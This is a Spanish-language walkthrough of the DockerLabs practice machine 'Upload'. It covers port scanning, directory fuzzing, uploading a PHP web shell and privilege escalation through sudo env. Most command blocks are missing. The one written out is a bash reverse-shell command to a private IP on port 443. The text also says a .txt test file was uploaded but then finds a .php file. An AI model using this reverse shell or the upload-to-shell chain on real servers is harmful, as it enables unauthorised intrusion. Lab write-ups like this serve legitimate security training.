Upload
Despliegue del Lab
Descargamos la máquina Upload desde la plataforma de dockerlabs.es.

Descomprimimos el archivo upload.zip.
Para desplegar la máquina, ejecutamos el siguiente comando:

Reconocimiento
Para ver si la máquina está encendida y comprobar que no tengamos ningún problema de conectividad, lanzamos un ping.
Enviamos un paquete y recibimos el paquete de vuelta, por lo que la máquina está activa. Además, podemos deducir que se trata de una máquina Linux por el valor del TTL (Time To Live).
Para ganar acceso al sistema, necesitamos encontrar alguna vulnerabilidad en los servicios que están corriendo en la máquina. Por eso, lanzamos un escaneo de puertos para descubrir cuáles están abiertos.
El único puerto abierto es el 80. Debe haber un servicio web.
Ahora lanzamos un escaneo más exhaustivo que nos permita obtener un poco más de información sobre el servicio, incluyendo su versión.
Accedemos a la página web a través del navegador y, tal como nos lo había adelantado el http-title en el escaneo de nmap, nos encontramos con un campo de subida de archivos.

La primera aproximación es subir un archivo php malicioso. Primero vamos a intentar subir uno de prueba para ver si efectivamente nos permite subirlo o si existe alguna restricción con respecto a la extensión del archivo.
Creamos un archivo prueba.txt con el siguiente contenido y lo subimos.

El archivo se ha subido exitosamente, por lo que el siguiente paso será averiguar en qué ruta se encuentran almacenados dichos archivos. Para hallarla, aplicamos fuzzing con la herramienta ffuf.
Encontramos la ruta /uploads.

Se trata de la ruta que estábamos buscando. Podemos ver que allí se encuentra el archivo prueba.php que acabamos de subir.

Además, podemos comprobar que la web interpreta código php.

Intrusión
Ya estamos listos para subir un archivo php malicioso.
Creamos una web shell sencilla:
La idea es llegar a ejecutar comandos en la máquina que vamos a controlar a través del parámetro cmd desde la propia URL.
Subimos el archivo cmd.php:

Ejecutamos el comando whoami a través de la web shell y comprobamos que tenemos ejecución remota de comandos como el usuario www-data.

Para ganar acceso al sistema:
Nos ponemos en escucha por el puerto 443:
Pasamos el siguiente comando como valor del parámetro cmd:
bash -c 'bash -i >%26 /dev/tcp/192.168.229.128/443 0>%261'
⚠️ %26 equivale al & en URL Encode.
Deberíamos recibir una consola como
www-data:

Escalada de privilegios
Buscamos por privilegios a nivel de sudo con sudo -l.

Podemos ejecutar como root el comando /usr/bin/env.
Existe una forma de abusar de este comando para convertirnos en root de la siguiente manera:

Esta forma de escalar privilegios a través de env está documentada en GTFOBins.
Last updated